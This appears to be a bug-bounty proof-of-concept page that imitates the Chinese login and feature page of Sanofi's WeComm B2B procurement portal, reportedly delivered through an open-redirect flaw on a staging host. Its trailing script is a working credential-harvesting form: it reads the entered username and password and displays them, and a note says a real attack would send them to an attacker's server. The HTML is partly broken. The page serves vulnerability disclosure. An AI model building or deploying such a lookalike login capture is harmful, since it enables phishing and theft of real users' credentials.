欢迎使用 Sanofi WeComm

赛诺菲医药B2B采购平台 — 订单管理、发票查询、主数据维护一站式服务

SAP Commerce Enterprise B2B Portal

账户登录

或使用企业微信登录

平台功能

📦

订单管理

实时查看订单状态、配送跟踪及历史记录

🧾

发票与结算

在线下载发票、查询账单及付款记录

🏥

主数据维护

更新企业资质、银行信息及配送地址

📊

配额与报表

查看销售配额、业绩报表及数据导出

[ BUG BOUNTY PoC — Credential Harvesting ]

This page was loaded inside an </code> injected by the <strong>stage.sanofiwecomm.cn</strong> Open Redirect vulnerability.<br><br> The following credentials were captured from a form that visually impersonates the legitimate Sanofi WeComm login page: </p> <div class="captured" id="captured-output"></div> <p style="color:#888; font-size:11px;"> In a real attack, these would be silently exfiltrated to the attacker's server and the user redirected to the real Sanofi login page. </p> <button onclick="document.getElementById('poc-overlay').classList.remove('show')">Close</button> </div> </div> <script> function handleLogin(e) { e.preventDefault(); const user = document.getElementById('username').value || '(empty)'; const pass = document.getElementById('password').value || '(empty)'; document.getElementById('captured-output').innerHTML = 'username: <strong>' + escapeHtml(user) + '</strong><br>' + 'password: <strong>' + escapeHtml(pass) + '</strong><br>' + 'origin: <strong>stage.sanofiwecomm.cn (iframe context)</strong><br>' + 'timestamp: <strong>' + new Date().toISOString() + '</strong>'; document.getElementById('poc-overlay').classList.add('show'); } function escapeHtml(s) { return s.replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>'); } </script> </body> </html>